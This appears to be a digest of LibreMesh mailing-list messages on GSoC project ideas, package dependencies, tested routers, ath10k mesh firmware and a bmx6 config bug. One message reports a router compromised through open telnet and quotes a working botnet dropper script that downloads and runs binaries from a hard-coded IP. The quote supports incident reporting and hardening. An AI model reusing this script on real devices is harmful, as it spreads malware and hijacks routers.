Hi!
Please read the forwarded email if you don't know what a GSoC is.
Everybody can participate as mentor (rewarded 500$) and anyone in a
university (from undergraduate to PhD) can participate as student
(should be rewarded 5k$).
The deadline for proposing ideas (find link below) is the end of this week.
We can propose ideas on implementation of lime-proto-client, support
for WPA in AP-client setup, multi-ap + WPA + QOS for prioritizing node
owner's traffic, improvement of LiMe-LUCI web interface (very
important), make easy the setup of captive portal with nodogsplash...
---------- Forwarded message ----------
From: Andreas Bräu <ab(a)andi95.de>
Date: 2017-01-15 20:56 GMT+01:00
Subject: Re: [Battlemesh] Google Summer of Code 2017 is coming
To: battlemesh(a)ml.ninux.org
Hi,
please keep in mind to add your ideas as soon as possible, not later
than by the end of the week to our wiki: https://wiki.freifunk.net/Ideas
Then the appication period will start.
Best regards,
Andi
Am 01.01.2017 um 16:49 schrieb Andreas Bräu:
> Hi there,
>
> I wish you a happy new year! New year, new GSoC! :)
>
> We're planning to apply again as organisation for GSoC 2017. As last
> year we want to be an umbrella organisation for wireless communities.
> More information on GSoC you can find at
> https://en.wikipedia.org/wiki/Google_Summer_of_Code
>
> Google announced the new program in October. The period to apply as
> organisation will start on January 19 and will close on February 9:
> https://developers.google.com/open-source/gsoc/timeline
>
> As every year we need your ideas for possible projects. These ideas are
> one of the most important parts of our application. They are also source
> for students to develop their project proposals. Please add your ideas
> to our wiki page at https://wiki.freifunk.net/Ideas Our ideas from last
> year I copied to https://wiki.freifunk.net/Ideas_GSoC_2016
>
> We're also looking for people helping us in administration. If you're
> interested in supporting us, send us a message.
>
> Please spread this to your communities, so we can get a great
> collections of ideas! If you know of other wireless communities, please
> inform them, too.
>
> Best regards,
>
> Andi
>
> _______________________________________________
> Battlemesh mailing list
> Battlemesh(a)ml.ninux.org
> http://ml.ninux.org/mailman/listinfo/battlemesh
So, i just flashed a generic Community Chaos taken from
http://downloads.libremesh.org/community_chaos/16.07/ar71xx/generic/
on a device that gets a public ipv4 over WAN
went in via telnet, configured some bits, but i felt it was a bit
unresponsive. checking loadavg with "uptime":
12:00:25 up 17 min, load average: 3.70, 1.36, 0.53
and logread showed some OOM... suspicious
i had been infected already with some malware :(
found a process "LA4obRtMROA7TAt2wWN1TnwHw"
and a file in the root directory: /bin.sh
which i copy at the end of this email for reference.
so funny, for a moment i felt a deja-vu like the many times i connected
a Windows PC directly to a public IP, and in under 5 minutes it had been
infected with viruses.
(this LiMe was infected in under 15 minutes as well)
It most likely came in via telnet, since that's open and passwordless
by default on our releases.
I think we should at least block telnet port over WAN by default
##########################
#!/bin/sh
BIN_NAMES="mips mpsl arm arm7 ppc spc m68k sh4"
HTTP_SERVER="95.215.62.11"
HTTP_PORT=80
DROPPER_FILE_NAME="dvrAssist"
for a in $BIN_NAMES
do
if [ -f "/bin/chmod" ]
then
rm $DROPPER_FILE_NAME
/bin/busybox wget http://$HTTP_SERVER:$HTTP_PORT/bins/$a
-O - > $DROPPER_FILE_NAME
chmod 777 $DROPPER_FILE_NAME
./$DROPPER_FILE_NAME
>$DROPPER_FILE_NAME
else
rm $DROPPER_FILE_NAME
cp /bin/echo $DROPPER_FILE_NAME
>$DROPPER_FILE_NAME
/bin/busybox wget http://$HTTP_SERVER:$HTTP_PORT/bins/$a
-O - > $DROPPER_FILE_NAME
./$DROPPER_FILE_NAME
>$DROPPER_FILE_NAME
fi
done
echo infectfgt
after a short talk between daniel and ufo in the leipzig xmpp muc about
libremesh i thought "lets give lime another shot". unfortunately there
is no sdk available for download. :( hopefully the sdk was packaged
while building the release and someone could upload it.
i need the sdk to get an older batman-adv version for compatibility with
the existing mesh.
greetings from jena,
micha
First, I want to say that LibreMesh is awesome! From the short time I've
been looking at it, it looks very professional and well thought out.
I've had two problems getting LIME 16.07 installed :
1. The package 'lime-basic' requires 'lime-eb-ip-tables'
2. 'lime-webui' requires 'luci-i18n-english'
I couldn't find those missing packages anywhere.
The system seems to work when I force opkg to ignore those dependencies,
but I don't know it well enough yet to know if it is fully working.
I compiled from the lime-build source git at :
https://github.com/libremesh/lime-build
I had to use menuconfig to make most everything into a module, since I'm
using a 4MB TPLink MR3020 with an external root on USB. Then I tried to
install 'lime-full'.
I couldn't find the two missing modules by searching in menuconfig.
Apologies if this is already fixed in the dev branch.
-Kevin
Hi All,
My name is Nicolás, I'm from Argentina and I'm working promoting
community networks while I travel in Latin America... Glad to be part
of this community, and thanks to you all for all you have been doing so
far, it is amazing!!!
I wanted to share with you some of my last work (that I've been
discussing with Nico Echaniz, who suggested to migrate it to here),
about how we can promote the use of local services.
My view about this has been on using local discovery techniques to
identify which local services are around using mdns, and then promote
those services via a captive portal.
There are many services that are already shared in this way (like
printers, media repositories, chat apps) and it is quite easy to add
new ones or index those that are not added manually also.
I have also defined a strategy on how to deploy this on LiMe based on
Nico`s experience on multicast packages (those used by the mDNS
discovery mechanism) on mesh networks (quite a mess for now)... so I
found a workaround for this specific case.
We cound add a daemon to LiMe that permanently scans its local network
searching for services, and shares that information via Alfred.
Together with another daemon that listens to Alfred and adds that
information to the LiMe mDNS Service (Avahi)... that sorts out the
multicast issue and lets us share that valuable information efficiently.
For those services that don't support mDNS we could add an interface on
luci to manually administer them.
Finally, we could add a section on the Captive Portal to show this
information.
What do you think?
Regards,
--
Nicolás Pace
http://www.linkedin.com/in/nickar
We're going to write on the web a list of tested routers, just for
helping the visitors to have an idea of the supported/recommended
routers without copying and pasting the whole list provided by
OpenWrt/LEDE.
The discussion on this is here:
https://github.com/libremesh/lime-web/pull/14
Please answer with the routers you tried with LibreMesh.
I played with:
TP-Link WDR3600
TP-Link WR1043ND-v1
Ubiquiti NanoBridge M5
Ubiquiti NanoStation M5 XM
Ubiquiti NanoStation LoCo M2
On 09/11/16 00:56, Gui Iribarren wrote:
> There's a group currently testing in Brasil how does LibreMesh run on
> these ath9k+ath10k routers.
>
> ath9k = 2.4ghz
> ath10k = 5ghz
>
> Extra packets needed so far:
>
> kmod-ath10k
> ath10k-firmware-qca988x
>
> Progress so far: adhoc doesn't seem to work (virtual interface is not
> created) on the ath10k interface. The 2.4ghz interface works correctly
> (it's ath9k)
adhoc confirmed not supported looking at "iw phy"
>
> Currently trying ieee80211s mode on ath10k.
> Will report any news
so, when trying to bring up the mesh interface, logread says
ath10k_pci 0000:01:00.0: must load driver with rawmode=1 to add mesh
interfaces
tried simply reloading the driver with rawmode=1, but then logread said
rawmode = 1 requires support from firmware
following this
https://github.com/o11s/open80211s/wiki/ath10k-(802.11ac)-for-Mesh-Support
i downloaded this exact file
https://github.com/kvalo/ath10k-firmware/raw/master/QCA988X/hw2.0/10.2.4.70…
placed it the router
/lib/firmware/ath10k/QCA988X/hw2.0/firmware-5.bin
overwriting the one from the package ath10k-firmware-qca988x
then
# rmmod ath10k_pci ; rmmod ath10k_core
# insmod ath10k_core rawmode=1 ; insmod ath10k_pci
# wifi
and it came up :)
i had some issues with wireless.radioX.htmode=HT40, logread spits out
some errors during wifi reload
radio0 (24777): Usage: iw [options] dev <devname> set channel <channel>
[HT20|HT40+|HT40-]
radio0 (24777): Options:
radio0 (24777): --debug enable netlink debugging
looks like netifd is passing the parameters wrong to "iw"
according again to this
https://github.com/o11s/open80211s/wiki/ath10k-(802.11ac)-for-Mesh-Support
the syntax is supposed to be "iw mesh0 set freq 5180 80 5210"
and it looks like netifd is doing the classical "iw mesh0 set channel 48
HT40+"
for the meantime, i just unset htmode, and it everything comes up fine
(albeit slow, a netperf between the two nodes on the same table gives
only ~20 mbps, it could be around ~100 mbps if properly configured)
anyway this thread will turn definitely "lime-dev", and offtopic for
lime-users, so I'm moving the discussion there :)
>
> If anyone has already tested this hardware or has any tips, much welcome :)
>
> cheers!
>
>
> _______________________________________________
> lime-users mailing list
> lime-users(a)lists.libremesh.org
> https://lists.libremesh.org/mailman/listinfo/lime-users
>
Hey friends,
I've just stumbled this situation "in the wild" (a friend who tried
libremesh on two routers and got stuck, then asked me to have a look inside)
steps to reproduce:
1. router A, freshly flash with 16.07 from downloads.lime.org
2. connect router A via WAN to the internet
3. watchping detects the connection and executes
bmx6 -c tunOut -inet4 && bmx6 -c tunIn inet4 /n 0.0.0.0/0
4. now go via luci interface and set, for example, hostname or whatever
5. "save & apply" triggers a "uci commit"
6. there are "pending changes" in bmx6 uci, which get commited as well
-bmx6.inet4
bmx6.cfg1020b3='tunIn'
bmx6.cfg1020b3.tunIn='inet4'
bmx6.cfg1020b3.network='0.0.0.0/0'
7. disconnect WAN internet and reboot
now flash another router B, connect router B via WAN to Internet, and
try to access that connection from router A (router A not connected
anymore directly to WAN)
router A doesn't have the inet4 tunOut anymore, and actually publishes a
"blackhole" tunIn 0.0.0.0/0
and it will stay in that broken state forever (unless, well, you
"firstboot" it or something)
a "proper" fix would be for bmx6 to not necesarily write runtime config
changes to /tmp/.uci/bmx6 (say, have an option)
a quick dirty workaround that comes off the top of my head would be to
issue a "uci revert bmx6" at the end of
/etc/watchping/wan-fail.d/bmx6-gw
/etc/watchping/wan-ok.d/bmx6-gw
@pau, what do you think?
cheers!
gui